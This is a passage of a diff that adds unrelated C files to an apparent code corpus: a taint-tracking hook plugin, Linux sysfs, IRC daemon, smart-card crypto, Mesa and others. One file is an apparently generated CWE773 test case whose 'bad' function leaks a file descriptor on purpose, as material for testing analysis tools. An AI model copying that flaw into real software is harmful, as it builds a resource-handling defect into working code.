+      vaddr2 += this_size;
+      paddr += this_size;
+    } /* end while */
+  }
+
+//	free (param);
+  return 0;
+}
+
+
+int
+taint_reg(int reg_id, void *param)
+{
+  hook_taint_record_t *hook_rec = param;
+  
+  /* we do not taint EIP currently --Heng Yin */
+  if(reg_id == eip_reg) return -1;
+
+  taint_record_t records[MAX_OPERAND_LEN];
+  //memset (&records,0,sizeof(records));
+	
+  uint32_t base_id=0, reg_offset=0, size=0;
+  reg_index_from_id(reg_id, &base_id, &reg_offset, &size);
+  int i;
+  for (i = 0; i < size; ++i) {
+		records[i].numRecords = 1;
+		records[i].taintBytes[0].source = TAINT_SOURCE_HOOKAPI; //hook_rec->source
+		records[i].taintBytes[0].origin = hook_rec->origin;
+		records[i].taintBytes[0].offset = hook_rec->offset + i;
+  }
+  
+  taintcheck_taint_register(base_id, reg_offset, size, (1<<size)-1, (uint8_t*)records);
+  return 0;
+}
+
+
+uint64_t
+get_mem_taint(uint32_t vaddr, uint32_t size, uint8_t *rec) //size<=64
+{
+  return taintcheck_check_virtmem(vaddr, size, rec);
+}
+
+/* recover the taint information 
+ * size <= 64
+ */
+void set_mem_taint(uint32_t vaddr, uint32_t size, uint64_t taint, uint8_t *records)
+{
+  taintcheck_taint_virtmem(vaddr, size, taint, records);
+}
+
+
+void clean_mem_taint(uint32_t vaddr, int size)
+{
+  taintcheck_taint_virtmem(vaddr, size, 0, NULL); 
+}
+
+#endif //TAINT_ENABLED
+
+
+void
+get_procname(char *buf, uint32_t *pid)
+{
+  find_process(TEMU_cpu_cr[3], buf, pid);
+}
+
+
+int write_log(const char *const name, const char *const fmt, ...)
+{
+  va_list ap;
+  va_start(ap, fmt);
+  char hookname[128]= "";
+  
+  if ((strncmp(name,"tracenetlog",11) == 0) && (tracenetlog)) {
+  	vfprintf(tracenetlog, fmt, ap);   
+  }
+  else if (strncmp(name,"tracehooklog",12) == 0) {
+  	if (!tracehooklog) {
+			snprintf(hookname, 128, "%s.hooklog", tracename_p); 
+			tracehooklog = fopen(hookname, "w");
+                        if (0 == tracehooklog) {
+                          perror("write_log");
+                          return -1;
+                        }
+			vfprintf(tracehooklog, fmt, ap);
+  	}
+  	else {
+  		vfprintf(tracehooklog, fmt, ap);
+  	}
+  }
+  else {
+  	vfprintf(stderr, fmt, ap);
+  }
+  va_end(ap);
+
+  return 0;
+}
+
+int get_function_name (uint32_t eip, char *mod_name_ptr, char *fun_name_ptr) {
+	struct names_t *fun_struct_ptr = NULL;
+	
+	fun_struct_ptr = query_name((unsigned long) eip);
+	if (fun_struct_ptr != NULL) {
+		strncpy(mod_name_ptr,fun_struct_ptr->mod_name,512);
+		strncpy(fun_name_ptr,fun_struct_ptr->fun_name,512);
+		return 1;
+	}
+	else {
+		strncpy(mod_name_ptr,"unknown",512);
+		strncpy(fun_name_ptr,"unknown",512);
+		return 0;
+	}
+	
+}
+
+hook_plugin_info_t g_plugin_info = 
+  {
+    read_mem,
+    write_mem,
+    read_reg,
+    write_reg,
+#if TAINT_ENABLED
+    taint_mem,
+    taint_reg,
+#endif    
+    get_procname,
+    get_function_name,
+    0,
+    write_log, /* Write log */
+#if TAINT_ENABLED    
+    get_mem_taint,
+    set_mem_taint,
+    clean_mem_taint,
+#endif    
+    should_hook,
+  };
+
diff --git a/pool/shard001/C/0024165_mount.c b/pool/shard001/C/0024165_mount.c
new file mode 100644
index 0000000000000000000000000000000000000000..8a49486bf30c9859a5474f3cc5055bc7b9917de4
--- /dev/null
+++ b/pool/shard001/C/0024165_mount.c
@@ -0,0 +1,82 @@
+/*
+ * fs/sysfs/symlink.c - operations for initializing and mounting sysfs
+ *
+ * Copyright (c) 2001-3 Patrick Mochel
+ * Copyright (c) 2007 SUSE Linux Products GmbH
+ * Copyright (c) 2007 Tejun Heo <teheo@suse.de>
+ *
+ * This file is released under the GPLv2.
+ *
+ * Please see Documentation/filesystems/sysfs.txt for more information.
+ */
+
+#define DEBUG
+
+#include <linux/fs.h>
+#include <linux/magic.h>
+#include <linux/mount.h>
+#include <linux/init.h>
+#include <linux/user_namespace.h>
+
+#include "sysfs.h"
+
+static struct kernfs_root *sysfs_root;
+struct kernfs_node *sysfs_root_kn;
+
+static struct dentry *sysfs_mount(struct file_system_type *fs_type,
+	int flags, const char *dev_name, void *data)
+{
+	struct dentry *root;
+	void *ns;
+	bool new_sb;
+
+	if (!(flags & MS_KERNMOUNT)) {
+		if (!capable(CAP_SYS_ADMIN) && !fs_fully_visible(fs_type))
+			return ERR_PTR(-EPERM);
+
+		if (!kobj_ns_current_may_mount(KOBJ_NS_TYPE_NET))
+			return ERR_PTR(-EPERM);
+	}
+
+	ns = kobj_ns_grab_current(KOBJ_NS_TYPE_NET);
+	root = kernfs_mount_ns(fs_type, flags, sysfs_root,
+				SYSFS_MAGIC, &new_sb, ns);
+	if (IS_ERR(root) || !new_sb)
+		kobj_ns_drop(KOBJ_NS_TYPE_NET, ns);
+	return root;
+}
+
+static void sysfs_kill_sb(struct super_block *sb)
+{
+	void *ns = (void *)kernfs_super_ns(sb);
+
+	kernfs_kill_sb(sb);
+	kobj_ns_drop(KOBJ_NS_TYPE_NET, ns);
+}
+
+static struct file_system_type sysfs_fs_type = {
+	.name		= "sysfs",
+	.mount		= sysfs_mount,
+	.kill_sb	= sysfs_kill_sb,
+	.fs_flags	= FS_USERNS_MOUNT,
+};
+
+int __init sysfs_init(void)
+{
+	int err;
+
+	sysfs_root = kernfs_create_root(NULL, KERNFS_ROOT_EXTRA_OPEN_PERM_CHECK,
+					NULL);
+	if (IS_ERR(sysfs_root))
+		return PTR_ERR(sysfs_root);
+
+	sysfs_root_kn = sysfs_root->kn;
+
+	err = register_filesystem(&sysfs_fs_type);
+	if (err) {
+		kernfs_destroy_root(sysfs_root);
+		return err;
+	}
+
+	return 0;
+}
diff --git a/pool/shard001/C/0024168_s_numeric.c b/pool/shard001/C/0024168_s_numeric.c
new file mode 100644
index 0000000000000000000000000000000000000000..8ebbcea08c6fea7693ea4c5cf9512e6944c60d1a
--- /dev/null
+++ b/pool/shard001/C/0024168_s_numeric.c
@@ -0,0 +1,148 @@
+/*
+ *   Unreal Internet Relay Chat Daemon, src/s_numeric.c
+ *   Copyright (C) 1990 Jarkko Oikarinen
+ *
+ *   Numerous fixes by Markku Savela
+ *
+ *   This program is free software; you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 1, or (at your option)
+ *   any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *   GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program; if not, write to the Free Software
+ *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+
+#ifndef CLEAN_COMPILE
+static char sccsid[] =
+    "@(#)s_numeric.c	2.14 1/30/94 (C) 1988 University of Oulu, \
+Computing Center and Jarkko Oikarinen";
+#endif
+
+#include "struct.h"
+#include "common.h"
+#include "sys.h"
+#include "numeric.h"
+#include "h.h"
+#include "proto.h"
+#include <string.h>
+
+extern char backupbuf[];
+static char buffer[1024];
+
+/*
+** DoNumeric (replacement for the old do_numeric)
+**
+**	parc	number of arguments ('sender' counted as one!)
+**	parv[0]	pointer to 'sender' (may point to empty string) (not used)
+**	parv[1]..parv[parc-1]
+**		pointers to additional parameters, this is a NULL
+**		terminated list (parv[parc] == NULL).
+**
+** *WARNING*
+**	Numerics are mostly error reports. If there is something
+**	wrong with the message, just *DROP* it! Don't even think of
+**	sending back a neat error message -- big danger of creating
+**	a ping pong error message...
+*/
+int  do_numeric(int numeric, aClient *cptr, aClient *sptr, int parc, char *parv[])
+{
+	aClient *acptr;
+	aChannel *chptr;
+	char *nick, *p;
+	int  i;
+
+	/* Is this an outgoing connect, and we get a numeric 451 (not registered) back for the
+	 * magic command __PANGPANG__ and we did not send a SERVER message yet?
+	 * Then this means we are dealing with an Unreal server <3.2.9 and we should send the
+	 * SERVER command right now.
+	 */
+	if (!IsServer(sptr) && !IsPerson(sptr) && (numeric == 451) && (parc > 2) && strstr(parv[1], "__PANGPANG__") &&
+	    IsHandshake(cptr) && sptr->serv && !IsServerSent(sptr))
+	{
+		send_server_message(sptr);
+		return 0;
+	}
+
+	if (parc < 1 || !IsServer(sptr))
+		return 0;
+	/* Remap low number numerics. */
+	if (numeric < 100)
+		numeric += 100;
+
+	/*
+	   ** Prepare the parameter portion of the message into 'buffer'.
+	   ** (Because the buffer is twice as large as the message buffer
+	   ** for the socket, no overflow can occur here... ...on current
+	   ** assumptions--bets are off, if these are changed --msa)
+	   ** Note: if buffer is non-empty, it will begin with SPACE.
+	 */
+	buffer[0] = '\0';
+	if (parc > 2)
+	{
+		/*
+		 * For strlcat nazis, please read above
+		*/
+		for (i = 2; i < (parc - 1); i++)
+		{
+			(void)strcat(buffer, " ");
+			(void)strcat(buffer, parv[i]);
+		}
+		(void)strcat(buffer, " :");
+		(void)strcat(buffer, parv[parc - 1]);
+	}
+	else
+		sendto_realops("do_numeric( %i, %s, %s, %i, { %s, %s } )!",
+		    numeric, cptr->name, sptr->name, parc,
+		    parv[0], parv[1] ? parv[1] : "<null>");
+	for (; (nick = strtoken(&p, parv[1], ",")); parv[1] = NULL)
+	{
+		if ((acptr = find_client(nick, (aClient *)NULL)))
+		{
+			/*
+			   ** Drop to bit bucket if for me...
+			   ** ...one might consider sendto_ops
+			   ** here... --msa
+			   ** And so it was done. -avalon
+			   ** And regretted. Dont do it that way. Make sure
+			   ** it goes only to non-servers. -avalon
+			   ** Check added to make sure servers don't try to loop
+			   ** with numerics which can happen with nick collisions.
+			   ** - Avalon
+			 */
+			if (!IsMe(acptr) && IsPerson(acptr))
+			{
+				/* Added for .U3.2. drop remote 'You are not on
+				   ** that channel', we should be synced anyway,
+				   ** and this is an annoying message with TSpre7
+				   ** still on the net; would result in numeric 442 for
+				   ** every KICK... Can be removed when TSpre7 is gone.
+				   ** --Run
+				   if (numeric==ERR_NOTONCHANNEL) return 0;
+				 */
+
+				sendto_prefix_one(acptr, sptr, ":%s %d %s%s",
+				    parv[0], numeric, nick, buffer);
+			}
+			else if (IsServer(acptr) && acptr->from != cptr)
+				sendto_prefix_one(acptr, sptr, ":%s %d %s%s",
+				    parv[0], numeric, nick, buffer);
+		}
+		else if ((acptr = find_server_quick(nick)))
+		{
+			if (!IsMe(acptr) && acptr->from != cptr)
+				sendto_prefix_one(acptr, sptr, ":%s %d %s%s",
+				    parv[0], numeric, nick, buffer);
+		}
+		else if ((chptr = find_channel(nick, (aChannel *)NULL)))
+			sendto_channel_butone(cptr, sptr, chptr, ":%s %d %s%s",
+			    parv[0], numeric, chptr->chname, buffer);
+	}
+	return 0;
+}
diff --git a/pool/shard001/C/0024190_CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63a.c b/pool/shard001/C/0024190_CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63a.c
new file mode 100644
index 0000000000000000000000000000000000000000..0f14fe7ce85cfef98dc3c584acbaf6ad73616b40
--- /dev/null
+++ b/pool/shard001/C/0024190_CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63a.c
@@ -0,0 +1,91 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63a.c
+Label Definition File: CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open.label.xml
+Template File: source-sinks-63a.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 773 Missing Reference to Active File Descriptor or Handle
+ * BadSource:  Create a file descriptor using open()
+ * Sinks:
+ *    GoodSink: Close the file before reusing the file descriptor
+ *    BadSink : Reassign the file descriptor before closing the file
+ * Flow Variant: 63 Data flow: pointer to data passed from one function to another in different source files
+ *
+ * */
+
+#include "std_testcase.h"
+
+#ifdef _WIN32
+#define OPEN _open
+#define CLOSE _close
+#else
+#include <unistd.h>
+#define OPEN open
+#define CLOSE close
+#endif
+
+#ifndef OMITBAD
+
+/* bad function declaration */
+void CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63b_badSink(int * dataPtr);
+
+void CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63_bad()
+{
+    int data;
+    /* Initialize data */
+    data = -1;
+    /* POTENTIAL FLAW: Create a file descriptor using open() that may not be closed properly */
+    data = OPEN("BadSource_open.txt", O_RDWR|O_CREAT, S_IREAD|S_IWRITE);
+    CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63b_badSink(&data);
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* goodB2G uses the BadSource with the GoodSink */
+void CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63b_goodB2GSink(int * data);
+
+static void goodB2G()
+{
+    int data;
+    /* Initialize data */
+    data = -1;
+    /* POTENTIAL FLAW: Create a file descriptor using open() that may not be closed properly */
+    data = OPEN("BadSource_open.txt", O_RDWR|O_CREAT, S_IREAD|S_IWRITE);
+    CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63b_goodB2GSink(&data);
+}
+
+void CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63_good()
+{
+    goodB2G();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+   its own for testing or for building a binary to use in testing binary
+   analysis tools. It is not used when compiling all the testcases as one
+   application, which is how source code analysis tools are tested. */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE773_Missing_Reference_to_Active_File_Descriptor_or_Handle__open_63_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0024198_utils.c b/pool/shard001/C/0024198_utils.c
new file mode 100644
index 0000000000000000000000000000000000000000..4d4771709e57b9236ed3d9b570981530f79ee762
--- /dev/null
+++ b/pool/shard001/C/0024198_utils.c
@@ -0,0 +1,171 @@
+/**
+ * utils.c
+ *
+ * This file is part of IRMAcard.
+ *
+ * IRMAcard is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * IRMAcard is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with IRMAcard. If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Copyright (C) September 2011 - 2013.
+ *   Pim Vullers <pim@cs.ru.nl>, Radboud University Nijmegen.
+ */
+
+#include "utils.h"
+
+#include "ASN1.h"
+#include "debug.h"
+#include "math.h"
+#include "memory.h"
+#include "SHA.h"
+#include "types.h"
+
+/********************************************************************/
+/* Cryptographic helper functions                                   */
+/********************************************************************/
+
+//////////////////////////////////////////////////////////////////////
+// Shared functions                                                 //
+//////////////////////////////////////////////////////////////////////
+
+/**
+ * Compute a cryptographic hash of the given input values
+ *
+ * @param list of values to be included in the hash
+ * @param length of the values list
+ * @param result of the hashing operation
+ * @param buffer which can be used for temporary storage
+ * @param size of the buffer
+ */
+void ComputeHash(ValueArray list, unsigned int length, ByteArray result,
+                         ByteArray buffer, unsigned int size) {
+  int i, offset = size;
+
+  // Store the values
+  for (i = length - 1; i >= 0; i--) {
+    offset = ASN1_encode_int(list[i].size, list[i].data, buffer, offset);
+  }
+
+  // Store the number of values in the sequence
+  offset = ASN1_encode_int(2, (ByteArray) &length, buffer, offset);
+
+  // Finalise the sequence
+  offset = ASN1_encode_seq(size - offset, buffer, offset);
+
+  // Hash the data
+  debugValue("ASN1rep", buffer + offset, size - offset);
+  SHA(SHA_256, result, size - offset, buffer + offset);
+}
+
+/**
+ * Compute the helper value S' = S^(2_l) where l = SIZE_S_EXPONENT*8
+ *
+ * This value is required for exponentiations with base S and an
+ * exponent which is larger than SIZE_N bytes.
+ */
+void ComputeS_(Credential *credential, unsigned char *buffer) {
+  // Store the value l = SIZE_S_EXPONENT*8 in the buffer
+  Fill(SIZE_S_EXPONENT, buffer, 0xFF);
+
+  // Compute S_ = S^(2_l)
+  ModExp(SIZE_S_EXPONENT, SIZE_N, buffer,
+    credential->issuerKey.n, credential->issuerKey.S, credential->issuerKey.S_);
+  ModMul(SIZE_N, credential->issuerKey.S_, credential->issuerKey.S,
+    credential->issuerKey.n);
+}
+
+/**
+ * Compute the modular exponentiation: result = S^exponent mod n
+ *
+ * This function will use the helper value S' to compute exponentiations
+ * with exponents larger than SIZE_N bytes.
+ *
+ * @param size of the exponent
+ * @param exponent the power to which the base S should be raised
+ * @param result of the computation
+ */
+void ModExpSpecial(Credential *credential, int size, ByteArray exponent, ByteArray result, ByteArray buffer) {
+  if (size > SIZE_N) {
+    // Compute result = S^(exponent_bottom) * S_^(exponent_top)
+    ModExp(SIZE_S_EXPONENT, SIZE_N, exponent + size - SIZE_S_EXPONENT,
+      credential->issuerKey.n, credential->issuerKey.S, result);
+    ModExp(size - SIZE_S_EXPONENT, SIZE_N,
+      exponent, credential->issuerKey.n, credential->issuerKey.S_, buffer);
+    ModMul(SIZE_N, result, buffer, credential->issuerKey.n);
+  } else {
+    // Compute result = S^exponent
+    ModExp(size, SIZE_N,
+      exponent, credential->issuerKey.n, credential->issuerKey.S, result);
+  }
+}
+
+/**
+ * Clear size bytes from a bytearray
+ *
+ * @param size the amount of bytes to clear
+ * @param buffer to be cleared
+ */
+void ClearBytes(int size, void *buffer) {
+  while (size > 255) {
+    __push(buffer);
+    __code(PUSHZ, 255);
+    __code(STOREI, 255);
+    buffer = ((unsigned char *) buffer) + 255;
+    size -= 255;
+  }
+  Fill(size, buffer, 0x00);
+}
+
+/**
+ * Clear the current credential.
+ */
+void ClearCredential(Credential *credential) {
+  unsigned char i;
+
+  // Put the address of the credential on the stack
+  __push(credential);
+
+  // Clear the credential in blocks of 255 bytes
+  for (i = 0; i < sizeof(Credential) / 255; i++) {
+
+    // Store a block of 255 zero bytes at the given address
+    __code(PUSHZ, 255);
+    __code(STOREI, 255);
+
+    // Update the address for the next block (add 255)
+    __code(PUSHW, 255);
+    __code(ADDN, 2);
+    __code(POPN, 2);
+  }
+
+  // Store the remaining block of zero bytes at the given address
+  __code(PUSHZ, sizeof(Credential) % 255);
+  __code(STOREI, sizeof(Credential) % 255);
+
+  // Remove the address from the stack
+  __code(POPN, 2);
+
+  // Clear the pointer to the credential
+  credential = NULL;
+}
+
+/**
+ * Clear the current session.
+ */
+/*#define ClearSession(session, public) \
+  Clear(255, session.base); \
+  Clear(sizeof(SessionData) % 255, session.base + 255); \
+  Clear(255, public.base); \
+  Clear(255, public.base + 255); \
+  Clear(255, public.base + 255*2); \
+  Clear(sizeof(PublicData) % 255, public.base + 255*3);
+*/
diff --git a/pool/shard001/C/0024212_spin_lock_debug.c b/pool/shard001/C/0024212_spin_lock_debug.c
new file mode 100644
index 0000000000000000000000000000000000000000..f76729a9255a93b6a37912f668afadf06d3dd672
--- /dev/null
+++ b/pool/shard001/C/0024212_spin_lock_debug.c
@@ -0,0 +1,42 @@
+// SPDX-License-Identifier: BSD-2-Clause
+/*
+ * Copyright (c) 2016, Linaro Limited
+ */
+
+#include <assert.h>
+#include <kernel/spinlock.h>
+#include "thread_private.h"
+
+void spinlock_count_incr(void)
+{
+	struct thread_core_local *l = thread_get_core_local();
+
+	l->locked_count++;
+	assert(l->locked_count);
+}
+
+void spinlock_count_decr(void)
+{
+	struct thread_core_local *l = thread_get_core_local();
+
+	assert(l->locked_count);
+	l->locked_count--;
+}
+
+bool have_spinlock(void)
+{
+	struct thread_core_local *l;
+
+	if (!thread_foreign_intr_disabled()) {
+		/*
+		 * Normally we can't be holding a spinlock since doing so would
+		 * imply foreign interrupts are disabled (or the spinlock
+		 * logic is flawed).
+		 */
+		return false;
+	}
+
+	l = thread_get_core_local();
+
+	return !!l->locked_count;
+}
diff --git a/pool/shard001/C/0024215_cat_nonblock.c b/pool/shard001/C/0024215_cat_nonblock.c
new file mode 100644
index 0000000000000000000000000000000000000000..c65c1eb7e98eba5dc2dd9f30f6e46ab3ea543f13
--- /dev/null
+++ b/pool/shard001/C/0024215_cat_nonblock.c
@@ -0,0 +1,62 @@
+/* cat_noblock.c - open a file and display its contents, but exit rather than
+ * wait for input */
+
+/* Copyright (C) 1998 by Ori Pomerantz */
+
+#include <errno.h>  /* for errno */
+#include <fcntl.h>  /* for open */
+#include <stdio.h>  /* standard I/O */
+#include <stdlib.h> /* for exit */
+#include <unistd.h> /* for read */
+
+#define MAX_BYTES 1024 * 4
+
+void main(int argc, char *argv[]) {
+  int fd;                 /* The file descriptor for the file to read */
+  size_t bytes;           /* The number of bytes read */
+  char buffer[MAX_BYTES]; /* The buffer for the bytes */
+
+  /* Usage */
+  if (argc != 2) {
+    printf("Usage: %s <filename>\n", argv[0]);
+    puts("Reads the content of a file, but doesn't wait for input");
+    exit(-1);
+  }
+
+  /* Open the file for reading in non blocking mode */
+  fd = open(argv[1], O_RDONLY | O_NONBLOCK);
+
+  /* If open failed */
+  if (fd == -1) {
+    if (errno = EAGAIN)
+      puts("Open would block");
+    else
+      puts("Open failed");
+    exit(-1);
+  }
+
+  /* Read the file and output its contents */
+  do {
+    int i;
+
+    /* Read characters from the file */
+    bytes = read(fd, buffer, MAX_BYTES);
+
+    /* If there's an error, report it and die */
+    if (bytes == -1) {
+      if (errno = EAGAIN)
+        puts("Normally I'd block, but you told me not to");
+      else
+        puts("Another read error");
+      exit(-1);
+    }
+
+    /* Print the characters */
+    if (bytes > 0) {
+      for (i = 0; i < bytes; i++)
+        putchar(buffer[i]);
+    }
+
+    /* While there are no errors and the file isn't over */
+  } while (bytes > 0);
+}
\ No newline at end of file
diff --git a/pool/shard001/C/0024218_retu_assign_htmltextarea.c b/pool/shard001/C/0024218_retu_assign_htmltextarea.c
new file mode 100644
index 0000000000000000000000000000000000000000..d875ba8104334d3c740b6ec432f95de774a7d346
--- /dev/null
+++ b/pool/shard001/C/0024218_retu_assign_htmltextarea.c
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2017,2021 Daichi GOTO
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are 
+ * met: 
+ * 
+ * 1. Redistributions of source code must retain the above copyright 
+ *    notice, this list of conditions and the following disclaimer. 
+ * 2. Redistributions in binary form must reproduce the above copyright 
+ *    notice, this list of conditions and the following disclaimer in the 
+ *    documentation and/or other materials provided with the distribution. 
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "command.h"
+
+int
+main(int argc, char *argv[])
+{
+	getcmdargs(argc, argv, "rhvD", CMDARGS_R_NEED);
+
+	/*
+	 * column specifics setup
+	 */
+	DB *db[R_INDEX_MAX + 1];
+	DBT key, val;
+	memset(db, 0, (R_INDEX_MAX + 1) * sizeof(DB *));
+	for (int i = 1; i <= R_ARGC; i++) {
+		if (NULL == db[R_ARGV[i]]) {
+			// To make the output order of attributes 
+			// reproducible, use BTREE as the database type.
+			db[R_ARGV[i]] = 
+				dbopen(NULL, O_CREAT|O_RDWR, 0644, 
+					DB_BTREE, NULL);
+		}
+
+		if (NULL == cmdargs.r_argv_arg1[i] &&
+		    NULL == cmdargs.r_argv_arg2[i] &&
+		    NULL == cmdargs.r_argv_arg3[i])
+			continue;
+
+		if (NULL == cmdargs.r_argv_arg1[i] &&
+		    NULL == cmdargs.r_argv_arg2[i] &&
+		    NULL == cmdargs.r_argv_arg3[i])
+			usage();
+
+		if (0 == strncmp(cmdargs.r_argv_arg1[i], "_attr_", 6)) {
+			key.data = cmdargs.r_argv_arg2[i];
+			key.size = strlen(key.data) + 1;
+			val.data = _str2ssvstr(cmdargs.r_argv_arg3[i]);
+			val.size = strlen(val.data) + 1;
+
+			db[R_ARGV[i]]->put(db[R_ARGV[i]], 
+				&key, &val, 0);
+
+			for (int j = i; j < R_ARGC; j++) {
+				cmdargs.r_argv[j] = cmdargs.r_argv[j+1];
+				cmdargs.r_argv_arg1[j] =
+					cmdargs.r_argv_arg1[j+1];
+				cmdargs.r_argv_arg2[j] =
+					cmdargs.r_argv_arg2[j+1];
+				cmdargs.r_argv_arg3[j] =
+					cmdargs.r_argv_arg3[j+1];
+				cmdargs.r_argv_delim[j] =
+					cmdargs.r_argv_delim[j+1];
+			}
+			for (int k = 1; k <= R_INDEX_MAX; k++) {
+				if (cmdargs.r_index_to_argv[k] >= i)
+					cmdargs.r_index_to_argv[k] -= 1;
+					
+			}
+			if (i == R_ARGC) {
+				cmdargs.r_argv_arg1[R_ARGC] = NULL;
+				cmdargs.r_argv_arg2[R_ARGC] = NULL;
+				cmdargs.r_argv_arg3[R_ARGC] = NULL;
+				cmdargs.r_argv_delim[R_ARGC] = '\0';
+			}
+			--R_ARGC;
+			--i;
+		}
+	}
+
+	char *refs[1+R_INDEX_MAX], *p, *p2;
+	int refindex, num;
+	FILEPROCESS_RETU
+
+	exit(EX_OK);
+}
diff --git a/pool/shard001/C/0024248_t_vb_fog.c b/pool/shard001/C/0024248_t_vb_fog.c
new file mode 100644
index 0000000000000000000000000000000000000000..d8bca3820bc8ee7b5a1281e2e0f99ccc232faf1e
--- /dev/null
+++ b/pool/shard001/C/0024248_t_vb_fog.c
@@ -0,0 +1,277 @@
+/*
+ * Mesa 3-D graphics library
+ * Version:  6.5
+ *
+ * Copyright (C) 1999-2006  Brian Paul   All Rights Reserved.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included
+ * in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+ * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
+ * BRIAN PAUL BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
+ * AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+ * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ *
+ * Authors:
+ *    Keith Whitwell <keith@tungstengraphics.com>
+ */
+
+
+#include "glheader.h"
+#include "colormac.h"
+#include "context.h"
+#include "macros.h"
+#include "imports.h"
+#include "mtypes.h"
+
+#include "math/m_xform.h"
+
+#include "t_context.h"
+#include "t_pipeline.h"
+
+
+struct fog_stage_data {
+   GLvector4f fogcoord;		/* has actual storage allocated */
+};
+
+#define FOG_STAGE_DATA(stage) ((struct fog_stage_data *)stage->privatePtr)
+
+#define FOG_EXP_TABLE_SIZE 256
+#define FOG_MAX (10.0)
+#define EXP_FOG_MAX .0006595
+#define FOG_INCR (FOG_MAX/FOG_EXP_TABLE_SIZE)
+static GLfloat exp_table[FOG_EXP_TABLE_SIZE];
+static GLfloat inited = 0;
+
+#if 1
+#define NEG_EXP( result, narg )						\
+do {									\
+   GLfloat f = (GLfloat) (narg * (1.0/FOG_INCR));			\
+   GLint k = (GLint) f;							\
+   if (k > FOG_EXP_TABLE_SIZE-2) 					\
+      result = (GLfloat) EXP_FOG_MAX;					\
+   else									\
+      result = exp_table[k] + (f-k)*(exp_table[k+1]-exp_table[k]);	\
+} while (0)
+#else
+#define NEG_EXP( result, narg )					\
+do {								\
+   result = exp(-narg);						\
+} while (0)
+#endif
+
+
+/**
+ * Initialize the exp_table[] lookup table for approximating exp().
+ */
+static void
+init_static_data( void )
+{
+   GLfloat f = 0.0F;
+   GLint i = 0;
+   for ( ; i < FOG_EXP_TABLE_SIZE ; i++, f += FOG_INCR) {
+      exp_table[i] = EXPF(-f);
+   }
+   inited = 1;
+}
+
+
+/**
